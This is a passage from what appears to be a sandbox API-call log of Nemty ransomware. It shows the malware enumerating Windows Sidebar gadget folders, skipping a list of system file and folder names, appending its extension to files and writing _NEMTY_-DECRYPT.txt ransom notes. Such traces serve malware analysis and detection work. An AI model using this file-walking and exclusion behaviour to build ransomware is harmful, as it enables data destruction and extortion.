Sidebar\\Gadgets\\MediaCenter.Gadget\\settings.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\settings.html._nemty_kgobjgd_")) returned 0 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.835] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ac70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xf3ac70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xf60dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0133.835] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0133.835] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0133.835] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0133.835] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0133.835] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0133.836] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0133.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0133.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0133.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0133.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0133.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.837] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ac70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xf3ac70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xf60dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0133.837] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0133.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0133.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0133.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0133.837] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="...") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="windows") returned -1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="rsa") returned -1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="NTDETECT.COM") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="ntldr") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="MSDOS.SYS") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="IO.SYS") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="boot.ini") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="boot.ini") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="ntuser.dat") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="desktop.ini") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="CONFIG.SYS") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="RECYCLER") returned -1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0133.837] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="bootmgr") returned 1 [0133.838] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="programdata") returned -1 [0133.838] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="appdata") returned 1 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PicturePuzzle.Gadget", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PicturePuzzle.Gadget", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PicturePuzzle.Gadget", lpUsedDefaultChar=0x0) returned 20 [0133.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0133.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PicturePuzzle.Gadget", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PicturePuzzle.Gadget", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PicturePuzzle.Gadget", lpUsedDefaultChar=0x0) returned 20 [0133.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0133.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0133.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0133.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0133.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0133.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0133.838] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.841] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.841] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0133.842] CloseHandle (hObject=0x1e8) returned 1 [0133.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0133.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0133.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0133.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0133.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0133.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0133.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0133.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0133.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.842] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0133.843] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.843] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0133.844] CloseHandle (hObject=0x1e8) returned 1 [0133.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0133.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0133.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0133.844] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36a78d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x36a78d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0133.844] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0133.844] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36a78d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x36a78d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0133.844] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0133.844] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0133.844] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38816739, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drag.png", cAlternateFileName="")) returned 1 [0133.844] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1 [0133.844] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1 [0133.844] lstrcmpiW (lpString1="drag.png", lpString2="...") returned 1 [0133.844] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="$RECYCLE.BIN") returned 1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="rsa") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="NTDETECT.COM") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="ntldr") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="MSDOS.SYS") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="IO.SYS") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="AUTOEXEC.BAT") returned 1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="desktop.ini") returned 1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="CONFIG.SYS") returned 1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="RECYCLER") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="BOOTSECT.BAK") returned 1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="programdata") returned -1 [0133.845] lstrcmpiW (lpString1="drag.png", lpString2="appdata") returned 1 [0133.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0133.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0133.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0133.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0133.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0133.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0133.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0133.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", 